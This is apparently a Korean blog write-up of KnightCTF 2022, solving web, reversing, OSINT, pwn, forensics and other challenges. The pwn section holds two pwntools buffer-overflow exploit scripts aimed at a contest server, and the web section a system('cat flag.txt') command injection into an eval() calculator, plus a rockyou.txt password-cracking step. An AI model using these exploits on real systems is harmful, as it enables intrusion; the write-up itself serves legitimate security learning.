CTF

KnightCTF 2022

c0wb3ll ㅣ 2022. 1. 25. 19:04

Solve

WEB

Sometime you need to look wayback (25pts)

https://user-images.githubusercontent.com/48816875/150953526-3bcb2146-18a0-41d9-a9f7-db2dc9efa3da.pnghttps://user-images.githubusercontent.com/48816875/150930948-0d672f1c-6a28-4b49-84ad-c328e1399995.png

들어가면 다음과 같은 웹페이지가 표시된다.

https://user-images.githubusercontent.com/48816875/150931039-d70ebc7c-780a-47b0-8c35-69d11f2bbe08.png

개발자 모드로 들어가면 다음과 같이 Test Bot Source Code: 깃허브링크가 나온다.

https://user-images.githubusercontent.com/48816875/150931765-06dd304c-cc8e-4241-81b5-79631f6ce5e6.png

commit 히스토리를 보면 다음과 같이 플래그가 있었다.

Do Something Special (50pts)

https://user-images.githubusercontent.com/48816875/150931916-eea8cf3e-7d60-4cce-9769-7699d0c06f5e.pnghttps://user-images.githubusercontent.com/48816875/150932007-7ebc1a47-75e4-4dfd-98ec-75c922bf20cc.png

접속하면 다음과 같은 화면이 나온다.

https://user-images.githubusercontent.com/48816875/150932083-f79d314a-cd9b-48fe-8ab5-5f202991fd6a.png

Get the flag! 버튼을 누르면 다음과 같이 에러 화면이 나오게 된다.

주소창을 자세히 보면 #이 들어가 있는 것을 확인할 수 있는데 #은 뒤에 오는 값을 fragment id로 취급하기 때문에 정상적인 문자열로 인식이 되지 않아 발생한 에러라는 것을 알 수 있다.

https://user-images.githubusercontent.com/48816875/150932745-e7b2e1dc-7342-4620-962f-f2b7da747868.png

따라서 다음과 같이 URL encoding을 거쳐 값을 보내어주면 플래그를 획득할 수 있다.

Obsfuscation Isn't Enough (50pts)

https://user-images.githubusercontent.com/48816875/150933490-df753578-f303-43a2-91d7-087c2834500b.pnghttps://user-images.githubusercontent.com/48816875/150933581-9d20322a-9714-4590-9c2e-9f9b5f387bd2.png

접속하면 다음과 같은 로그인 패널이 뜬다.

https://user-images.githubusercontent.com/48816875/150933682-ed807f3d-501b-45fd-a8d2-26f38b9f406e.png

소스 코드로 보면 누가봐도 jsfuck처럼 생긴 문자열들이 존재한다.

https://user-images.githubusercontent.com/48816875/150933777-bf4d3c34-267a-4cdb-a817-caa97ca7194d.png

디코딩하면 다음과 같이 읽을 수 있는 javascript 구문이 나오고 올바른 username.valuepassword.value 를 획득할 수 있다.

해당 값들을 가지고 로그인을 시도해봤으나 아무 반응이 없어 뒤에 document.location에 있는 randomvalue.php 에 직접 접속을 시도하여 플래그를 획득하였다.

https://user-images.githubusercontent.com/48816875/150934371-f75143c9-d65c-4058-a155-9d691f221dd1.png

Zero is not the limit (50pts)

https://user-images.githubusercontent.com/48816875/150934527-eab2ac16-9f8d-4ef9-b67c-c279bdf7d7ea.pnghttps://user-images.githubusercontent.com/48816875/150934621-7282e1ca-0b02-4af8-8829-d9f92f924ebc.png

접속시 다음 화면을 볼 수 있다.

문제를 풀 때 게싱이 많아서 많이 힘들었는데 해당 문제는 안그래도 문의가 많았는지 디코방에 /user경로를 잘 살펴보라는 힌트가 주어져 다음과 같이 접속했을 때 Jhon의 대한 정보를 획득할 수 있었다.

https://user-images.githubusercontent.com/48816875/150934883-2e1473bf-f736-4086-9d9d-bdc42d2ac161.png

문제이름이 Zero is not limit 였기 때문에 -1을 넣었더니 플래그가 나왔다.

https://user-images.githubusercontent.com/48816875/150934981-40ff376e-d541-4083-ab91-c7804a84aa14.png

Most Secure Calculator - 1 (50pts)

https://user-images.githubusercontent.com/48816875/150935112-1ca51553-186d-4966-bb6d-1d5fb5ea7d5a.pnghttps://user-images.githubusercontent.com/48816875/150935270-2d8dc3ad-54c9-460d-b5fd-751bf7a33f84.png

접속하면 다음과 같은 계산기 페이지가 나온다.

https://user-images.githubusercontent.com/48816875/150935327-afcdffc4-1626-435c-9ee2-244b495a1d81.png

문자열을 집어넣으면 다음과 같이 eval() 에러가 출력된다.

https://user-images.githubusercontent.com/48816875/150935423-c1b1ffcb-1273-4ac7-9402-320eebfef04a.png

따라서 system(”cat flag.txt”)를 넣으면 플래그를 읽을 수 있다.

Reverse Engineering

The Flag Vault (25pts)

https://user-images.githubusercontent.com/48816875/150935694-e5e0519d-ad5f-4038-b0c9-02a47b756ce6.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+6h] [rbp-6Ah] BYREF
  __int16 v5; // [rsp+8h] [rbp-68h] BYREF
  __int16 v6; // [rsp+Ah] [rbp-66h] BYREF
  __int16 v7; // [rsp+Ch] [rbp-64h] BYREF
  __int16 v8; // [rsp+Eh] [rbp-62h] BYREF
  __int16 v9; // [rsp+10h] [rbp-60h] BYREF
  __int16 v10; // [rsp+12h] [rbp-5Eh] BYREF
  __int16 v11; // [rsp+14h] [rbp-5Ch] BYREF
  __int16 v12; // [rsp+16h] [rbp-5Ah] BYREF
  __int16 v13; // [rsp+18h] [rbp-58h] BYREF
  __int16 v14; // [rsp+1Ah] [rbp-56h] BYREF
  __int16 v15; // [rsp+1Ch] [rbp-54h] BYREF
  __int16 v16; // [rsp+1Eh] [rbp-52h] BYREF
  __int16 v17; // [rsp+20h] [rbp-50h] BYREF
  __int16 v18; // [rsp+22h] [rbp-4Eh] BYREF
  __int16 v19; // [rsp+24h] [rbp-4Ch] BYREF
  __int16 v20; // [rsp+26h] [rbp-4Ah] BYREF
  __int16 v21; // [rsp+28h] [rbp-48h] BYREF
  __int16 v22; // [rsp+2Ah] [rbp-46h] BYREF
  __int16 v23; // [rsp+2Ch] [rbp-44h] BYREF
  __int16 v24; // [rsp+2Eh] [rbp-42h] BYREF
  char s2[32]; // [rsp+30h] [rbp-40h] BYREF
  char s1[24]; // [rsp+50h] [rbp-20h] BYREF
  unsigned __int64 v27; // [rsp+68h] [rbp-8h]

  v27 = __readfsqword(0x28u);
  v4 = 'K';
  v5 = '}';
  v6 = 'w';
  v7 = 'c';
  v8 = '0';
  v9 = 'T';
  v10 = 'F';
  v11 = 'C';
  v12 = '_';
  v13 = 'm';
  v14 = 't';
  v15 = 'r';
  v16 = 'v';
  v17 = 's';
  v18 = '{';
  v19 = 'n';
  v20 = '3';
  v21 = 'e';
  v22 = 'g';
  v23 = 'l';
  v24 = 'i';
  strcpy(s1, "abracadabrahahaha");
  printf("\nHi there!\n\nPlease enter the password to unlock the flag vault: ");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
  {
    puts("\nCongratulations! Here is your flag:\n");
    printf(
      "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n\n",
      &v4,
      &v11,
      &v9,
      &v10,
      &v18,
      &v6,
      &v21,
      &v23,
      &v7,
      &v8,
      &v13,
      &v21,
      &v12,
      &v14,
      &v8,
      &v12,
      &v15,
      &v21,
      &v16,
      &v21,
      &v15,
      &v17,
      &v21,
      &v12,
      &v20,
      &v19,
      &v22,
      &v24,
      &v19,
      &v21,
      &v21,
      &v15,
      &v24,
      &v19,
      &v22,
      &v5);
  }
  else
  {
    puts(
      "\n"
      "Sorry!\n"
      "\n"
      "You have entered a wrong password! \n"
      "\n"
      "Please try with a valid one!\n"
      "\n"
      "If you don't have the password, you can buy that here at https://knightsquad.org");
  }
  return 0;
}
  1. 입력한 문자열과 abracadabrahahaha를 비교한 뒤 같으면 flag를 출력해준다.
  2. v4 ~ v24까지를 전부다 %s에 대입하여 flag를 획득해도 됨

https://user-images.githubusercontent.com/48816875/150936429-908f65f4-11da-4a78-976f-94b7b9b60812.png

The Encoder (50pts)

https://user-images.githubusercontent.com/48816875/150936558-af85d07d-3df1-40c7-b001-28f50b0e201d.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s[52]; // [rsp+0h] [rbp-40h] BYREF
  int v6; // [rsp+34h] [rbp-Ch]
  int v7; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  v7 = 1337;
  v6 = 0;
  puts("Welcome to the encoder");
  puts("Please give me a plain text of max 40 characters");
  fgets(s, 40, _bss_start);
  for ( i = 0; ; ++i )
  {
    v3 = countChar(s);
    if ( i >= v3 )
      break;
    v6 = s[i];
    printf("%d ", (v6 + v7));
  }
  return 0;
}

입력한 문자열의 ascii코드에 1337을 더해 반환하는 encoder

반대로 1337을 빼주면 플래그를 획득할 수 있다.

data = "1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462"

enc = data.split(" ")

for i in enc:
    print(chr(int(i) - 1337), end="")

Baby Shark (50pts)

https://user-images.githubusercontent.com/48816875/150937804-85294fb9-9f96-4fa1-b935-cc57ec8ccbd5.pnghttps://user-images.githubusercontent.com/48816875/150937748-dcf534c4-73dc-4c52-8002-61911379db5e.png

jar decompiler를 통해 String.class를 보면 base64 encoding된 문자열들이 보인다.

맨 아래 인코딩문을 디코딩으로 돌리면 플래그를 획득할 수 있다.

Flag Checker (100pts)

https://user-images.githubusercontent.com/48816875/150938531-a43e4466-40c8-4365-9212-8ade9ddc53c5.png

이번에는 좀 무식한 방법을 이용하여 문제를 해결하였다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-240h] BYREF
  char v5[51]; // [rsp+200h] [rbp-40h] BYREF
  char v6; // [rsp+233h] [rbp-Dh]
  int v7; // [rsp+234h] [rbp-Ch]
  int j; // [rsp+238h] [rbp-8h]
  int i; // [rsp+23Ch] [rbp-4h]

  strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
  printf("Give me a flag : ");
  __isoc99_scanf("%s", v4);
  for ( i = 0; v4[i]; ++i )
  {
    if ( v4[i] <= 64 || v4[i] > 90 )
    {
      if ( v4[i] <= 96 || v4[i] > 122 )
        v4[i] = v4[i];
      else
        v4[i] = -37 - v4[i];
    }
    else
    {
      v4[i] = -101 - v4[i];
    }
  }
  for ( j = 0; v4[j]; ++j )
    v4[j] -= 32;
  v7 = 0;
  v6 = 0;
  while ( v5[v7] )
  {
    if ( v5[v7] != v4[v7] )
    {
      v6 = 0;
      break;
    }
    v6 = 1;
    ++v7;
  }
  if ( v6 )
    puts("You have entered the right flag.");
  else
    puts("Sorry ! Its wrong flag.");
  return 0;
}

몇번 동적 분석을 진행하다보니 눈에 띄는 규칙성이 보여 그냥 그대로 딕셔너리로 박아주었다.

match = {
    "}" : 0x5d,
    "{" : 0x5b,
    "a" : 0x5a,
    "b" : 0x59,
    "c" : 0x58,
    "d" : 0x57,
    "e" : 0x56,
    "f" : 0x55,
    "g" : 0x54,
    "h" : 0x53,
    "i" : 0x52,
    "j" : 0x51,
    "k" : 0x50,
    "l" : 0x4f,
    "m" : 0x4e,
    "n" : 0x4d,
    "o" : 0x4c,
    "p" : 0x4b, 
    "q" : 0x4a,
    "r" : 0x49,
    "s" : 0x48,
    "t" : 0x47,
    "u" : 0x46,
    "v" : 0x45,
    "w" : 0x44,
    "x" : 0x43,
    "y" : 0x42,
    "z" : 0x41,
    "_" : 0x3f,
    "A" : 0x3a,
    "B" : 0x39,
    "C" : 0x38,
    "D" : 0x37,
    "E" : 0x36,
    "F" : 0x35,
    "G" : 0x34,
    "H" : 0x33,
    "I" : 0x32,
    "J" : 0x31,
    "K" : 0x30,
    "L" : 0x2f,
    "M" : 0x2e,
    "N" : 0x2d,
    "O" : 0x2c,
    "P" : 0x2b,
    "Q" : 0x2a,
    "R" : 0x29,
    "S" : 0x28,
    "T" : 0x27,
    "U" : 0x26,
    "V" : 0x25,
    "W" : 0x24,
    "X" : 0x23,
    "Y" : 0x22,
    "Z" : 0x21,
}

data = "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"

reverse_match = dict(map(reversed, match.items()))
# print(reverse_match)

for i in data:
    # print(ord(i))
    print(reverse_match[ord(i)], end='')

'''
KCTF{aTbAsH...
'''

Knight Vault (100pts)

https://user-images.githubusercontent.com/48816875/150939022-f1c0e6e6-c1f8-4bb6-882c-acae93252211.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Bh] [rbp-435h]
  int i; // [rsp+Ch] [rbp-434h]
  int v6; // [rsp+Ch] [rbp-434h]
  char v7[48]; // [rsp+10h] [rbp-430h] BYREF
  char v8[1016]; // [rsp+40h] [rbp-400h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  strcpy(v7, "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s");
  puts("Hello There..\nWelcome to KS Vault.");
  printf("Please enter vault password : ");
  __isoc99_scanf("%s", v8);
  for ( i = 0; v8[i]; ++i )
  {
    v8[i + 512] = v8[i] - 10;
    if ( v8[i + 512] == 65 )
      v8[i + 512] = 42;
  }
  v6 = 0;
  v4 = 0;
  while ( v7[v6] )
  {
    if ( v7[v6] != v8[v6 + 512] )
    {
      v4 = 0;
      break;
    }
    v4 = 1;
    ++v6;
  }
  if ( v4 )
    win();
  else
    puts("Wrong password !");
  return 0;
}
data = "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s"
datalist = [i for i in data]

for i in range(len(datalist)):
    if ord(datalist[i]) == 42:
        datalist[i] = chr(65)
    datalist[i] = chr(ord(datalist[i]) + 10)

print(''.join(datalist))

값이 65일 때 42로 변경해주고 그 외에 경우에는 -10을 해주는 연산이어서 그 반대의 코드를 짜서 해결해주었다.

Knight Switch Bank (200pts)

https://user-images.githubusercontent.com/48816875/150939624-2a790c9f-263a-4cb5-9c9e-65ab68670471.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[512]; // [rsp+0h] [rbp-430h]
  char v5[512]; // [rsp+200h] [rbp-230h] BYREF
  char v6[32]; // [rsp+400h] [rbp-30h] BYREF
  int i; // [rsp+420h] [rbp-10h]
  char v8; // [rsp+427h] [rbp-9h]
  int v9; // [rsp+428h] [rbp-8h]
  int v10; // [rsp+42Ch] [rbp-4h]

  strcpy(v6, "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_");
  v10 = 0;
  v9 = 0;
  puts("-------------------------------------");
  puts("\tKnight Switch Bank");
  puts("--------------------------------------");
  puts("Welcome to Knight Switch Bank....");
  printf("Please enter your password : ");
  __isoc99_scanf("%s", v5);
  while ( v5[v10] )
  {
    if ( v5[v10] <= 64 || v5[v10] > 77 )
    {
      if ( v5[v10] <= 96 || v5[v10] > 109 )
      {
        if ( v5[v10] <= 77 || v5[v10] > 90 )
        {
          if ( v5[v10] <= 109 || v5[v10] > 122 )
            v4[v10] = v5[v10] - 32;
          else
            v4[v10] = v5[v10] - 13;
        }
        else
        {
          v4[v10] = v5[v10] - 13;
        }
      }
      else
      {
        v4[v10] = v5[v10] + 13;
      }
    }
    else
    {
      v4[v10] = v5[v10] + 13;
    }
    ++v10;
  }
  while ( v4[v9] )
    v4[v9++] += 2;
  v8 = 0;
  for ( i = 0; v6[i]; ++i )
  {
    if ( v6[i] != v4[i] )
    {
      v8 = 0;
      break;
    }
    v8 = 1;
  }
  if ( v8 )
    winner();
  else
    puts("Oh My God ! You entered a wrong password.");
  return 0;
}
data = "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_"

datalist = [ord(i) - 2 for i in data]
# print(datalist)

for i in range(len(datalist)):
    if not (datalist[i] - 13 <= 64 or datalist[i] - 13 > 77): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] - 13 <= 96 or datalist[i] - 13 > 109): print(chr(datalist[i] - 13), end='')
    elif not (datalist[i] + 13 <= 77 or datalist[i] + 13 > 90): print(chr(datalist[i] + 13), end='')
    elif not(datalist[i] + 13 <= 109 or datalist[i] + 13 > 122): print(chr(datalist[i] - 13), end='')
    else: print(chr(datalist[i] + 32), end='')

OSINT

Canada Server (50pts)

https://user-images.githubusercontent.com/48816875/150942343-ad44ebb5-6cb9-4a9e-b0d6-6675c367887f.pnghttps://user-images.githubusercontent.com/48816875/150942463-b82339d5-e254-4531-a2a3-86616b56cb18.png

KCTF{192.99.167.83}

Explosion In Front Of Bank Of Spain (100pts)

https://user-images.githubusercontent.com/48816875/150942756-e3f50987-4e70-4432-b0ff-dda7d5f859b1.pnghttps://user-images.githubusercontent.com/48816875/150943008-6df26c05-f635-484f-83f0-e524bf3401f4.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150943252-704af097-e566-4ed2-b24d-782a67ae5768.png

이미지 검색을 통해 영화 종이의 집의 한 장면이라는 것을 알 수 있었다. 또한, 추가적인 검색을 통해 파트 3, 4의 스페인 은행은 'New Ministries'라고 알려져 있는 정부 건물을 이용했다는 것을 알게 되었다.

https://user-images.githubusercontent.com/48816875/150943906-1936a9ac-223e-4e6c-88c1-91c7577e306f.png

New Ministries를 스페인어로 하면 Nuevos Ministerios가 되며 해당 위치를 구글 맵으로 찾아보았다.

https://user-images.githubusercontent.com/48816875/150945113-ad07c540-9044-4112-98a9-3d6dea4c24e4.png

구글 맵에서 해당 사진과 유사한 사진을 쭉 훑어보던 도중 유사한 사진을 발견하여 해당 url에 등록된 좌표를 플래그로 넘겨주었더니 인증되었다.

Find The Camera (100pts)

https://user-images.githubusercontent.com/48816875/150945321-221c16f2-a079-4bb2-919e-d45a057e9b9b.pnghttps://user-images.githubusercontent.com/48816875/150945527-24ebcf7e-ac8b-4e1f-a291-a6923a95875f.png

문제 이미지이다.

https://user-images.githubusercontent.com/48816875/150946078-0ebb624a-0407-4b94-b4e3-34d8068b4878.png

이미지 검색과 함께 키워드로 camera를 주면 결과가 딱 하나 나오게 된다.

해당 사이트에 접속하면 플래그 인증에 필요한 정보를 모두 획득할 수 있다.

PWN

What's Your Name (50pts)

https://user-images.githubusercontent.com/48816875/150946283-b41a7557-1ea6-41be-9f8f-64983f0d3db7.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[60]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+3Ch] [rbp-4h]

  v5 = 0x64;
  printf("What's your name ? ");
  fflush(_bss_start);
  gets(v4, argv);
  printf("Welcome %s \n", v4);
  fflush(_bss_start);
  if ( v5 != 0x64 )
    system("cat /home/hacker/flag.txt");
  return 0;
}

단순하게 v4에 입력받는 부분에서 bof를 일으켜 v5변수를 0x64가 아닌 다른 값으로 덮어주기만 하면 되는 문제이다.

from pwn import *

payload = b'A' * 0x41

# p = process("./whats_your_name")
p = remote("159.223.166.39", 9007)

p.sendlineafter(b"name ? ", payload)

p.interactive()

Hackers Vault (100pts)

https://user-images.githubusercontent.com/48816875/150947322-fb62142c-4923-4066-bee8-20596afee6fc.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [rsp+0h] [rbp-10h] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("Welcome to Hackers Vault...");
  printf("Please enter your pass code : ");
  v6 = 0;
  v5 = 0;
  __isoc99_scanf("%d", v4);
  while ( v4[0] )
  {
    v4[1] = v4[0] % 10;
    v5 += v4[0] % 10;
    ++v6;
    v4[0] /= 10;
  }
  if ( v5 == 48 )
  {
    puts("\n");
    puts("Welcome to your vault...");
    puts("Your Secret : ");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    puts("Wrong pass code");
  }
  return 0;
}
cnt = 1

while(cnt):
    print(f"trying {cnt}")
    v4 = cnt
    v5 = 0
    while(v4):
        v5 += int(v4 % 10)
        v4 /= 10
    if v5 == 48:
        print(f"result : {cnt}")
        break
    else:
        print(f"error : {v5}")
        cnt += 1

C와 같은 동작을 하는 python코드를 짜 Secret값을 알아냈다.

nc 접속을 한 이후 Secret값인 399999를 입력해주면 flag를 획득할 수 있다.

What's Your Name 2 (100pts)

https://user-images.githubusercontent.com/48816875/150947711-0b0b406f-ea71-4da7-860c-d388ab8c46e1.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[208]; // [rsp+0h] [rbp-120h] BYREF
  char dest[72]; // [rsp+D0h] [rbp-50h] BYREF
  int v6; // [rsp+118h] [rbp-8h]
  int v7; // [rsp+11Ch] [rbp-4h]

  v6 = 0;
  v7 = 0;
  printf("What's your name ? ");
  fflush(_bss_start);
  fgets(s, 200, stdin);
  strcpy(dest, s);
  if ( v7 == 1413825868 && v6 == 1397445710 )
  {
    printf("I liked your name and you got enough money :D");
    system("cat /home/hacker/flag.txt");
  }
  else
  {
    printf("Sorry ! I didn't like your name and you don't have enough money. Come one earn some money.");
  }
  return 0;
}

s 버퍼에 입력을 받을 때는 길이값에 제한이 있지만 strcpy를 통해 dest로 옮겨갈때는 길이값 검증이 존재하지 않는다. 해당 취약점을 이용해 v7, v6를 덮으면 플래그를 획득할 수 있다.

from pwn import *

payload = b'A' * (80 - 8)
payload += p32(0x534B544E)
payload += p32(0x5445454C)

# p = process('./whats_your_name_two')
p = remote('159.223.166.39', 9008)
# sleep(10)

p.sendlineafter(b'name ? ', payload)

p.interactive()

놀랍게도 포너블은 이 3문제밖에 나오지 않았다...

Programming

Keep Calculating (25pts)

https://user-images.githubusercontent.com/48816875/150948780-1c4baa58-214f-4290-9fd6-ab842f525183.png

pseudo code를 실제 코드로 작성하는 방식의 문제들이었다.

'''
Let x = 1
Let y = 2
Let answer += (x * y) + xy [here xy = 12]
Repeat this calculation till you have x = 666
The final answer will be the flag when x = 666
'''

y = 2
result = 0

for i in range(1,667):
    result += (i * y) + int(str(i) + str(y))

print(result)

결과값은 2666664 이다.

MISC

Broken Datasheet (100pts)

https://user-images.githubusercontent.com/48816875/150949349-fc60b08e-c9c3-4562-94b2-d4131034acef.pngUntitled

엑셀로 열어서 Ctrl+F를 이용해 KCTF 문자열을 검색해 찾았다.

(플래그를 읽어보면 zip이 들어간걸로 보아 압축해제하고 구성 파일들을 살펴봄으로 플래그를 획득하는 방향을 기획한 것 같은데 실제로 문제풀 때 30분동안 zip으로 해제하고 아무리 찾아봐도 플래그를 찾을 수 없었다...)

Unzip Me (100pts)

https://user-images.githubusercontent.com/48816875/150949617-56d8ecab-d761-40ee-bdc9-9fe1bdb5fc40.pnghttps://user-images.githubusercontent.com/48816875/150950213-04ae567a-91cd-4e18-a92d-ed551bf94070.png

문제로 받은 tar.gz 압축파일을 압축해제하면 unzipme 파일을 준다.

https://user-images.githubusercontent.com/48816875/150950347-2a371930-ce78-4b6a-bd5b-278fd1e2dff9.png

unzipme 파일을 010editor로 열어보면 다음과 같이 압축파일이 2바이트씩 앞뒤가 바뀌어있는 것을 확인할 수 있다.

data1 = ''
data2 = ''

with open("unzipme", "rb") as f:
    data = f.read()
    for i in range(len(data)):
        if i % 2 == 0:
            data1 += chr(data[i])
        else:
            data2 += chr(data[i])

for i in range(len(data1)):
    print(data2[i] + data1[i], end='')

다음과 같이 코드를 짜면 플래그를 읽을 수 있다.

Steganography

Follow The White Rabbit (25pts)

https://user-images.githubusercontent.com/48816875/150950716-bd923bbc-fa15-462e-a97c-2dd3a9b06fe1.pnghttps://user-images.githubusercontent.com/48816875/150950868-71bbcb28-ac62-42f2-947d-a914a677533a.png

stegsolve 툴을 이용해 다음과 같은 이미지를 획득할 수 있다.

아래 모스부호로 보이는 부호가 보이기 때문에 모스부호 디코더를 이용하여 디코딩하면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150951347-a329a9b7-be82-4b35-ba1a-11d8bcd6e91c.png

Digital Forensics

Unknown File (50pts)

https://user-images.githubusercontent.com/48816875/150951478-55586ff8-53e2-4266-891e-47967a56e75b.pnghttps://user-images.githubusercontent.com/48816875/150951717-e04bbd74-6336-4bda-9f14-f457bf8f7ea5.png

다운 받은 파일을 010editor로 열어보면 IHDR, sRGB, pHYs 등 PNG파일을 구성하는 요소들이 보인다. 반면, PNG 헤더 시그니처인 89504E47 0D0A1A0A 중 뒷부분인 0D0A1A0A밖에 존재하지 않기 때문에 89504E47로 앞 4바이트를 바꾸어주고 사진을 열면 플래그를 획득할 수 있다.

https://user-images.githubusercontent.com/48816875/150952119-6ec3d56b-c2ac-4d25-91e7-0b6f24d62471.png

Let’s Walk Together (50pts)

https://user-images.githubusercontent.com/48816875/150952199-488da506-3e29-4883-8cfa-ca298971813f.pnghttps://user-images.githubusercontent.com/48816875/150952333-3804648b-648d-460e-baf9-9f5590609cf9.png

문제 사진을 보면 binwalk에서 제공해주는 엔트로피 그래프가 있다. binwalk를 사용하길 의도하는 문제같다.

https://user-images.githubusercontent.com/48816875/150952543-ec717383-1d23-45c0-ac22-d065cde81cd9.png

binwalk와 비슷하게 시그니처를 기반으로 파일을 카빙해주는 툴인 foremost를 이용해 파일을 카빙하면 압축파일이 나온다.

https://user-images.githubusercontent.com/48816875/150952679-d7832cb1-14f1-4100-8b3a-72d7b7d7bd3e.png

압축파일에는 비밀번호가 걸려있다.

이 압축파일을 풀 때 아무런 힌트도 없어서 좀 힘들었는데 딕셔너리 어택에 가장 많이 사용되는 rockyou.txt를 이용해 압축파일을 해제하면 된다.

https://user-images.githubusercontent.com/48816875/150953230-1f2ff641-e1bb-491a-a039-0423f37ddcf7.png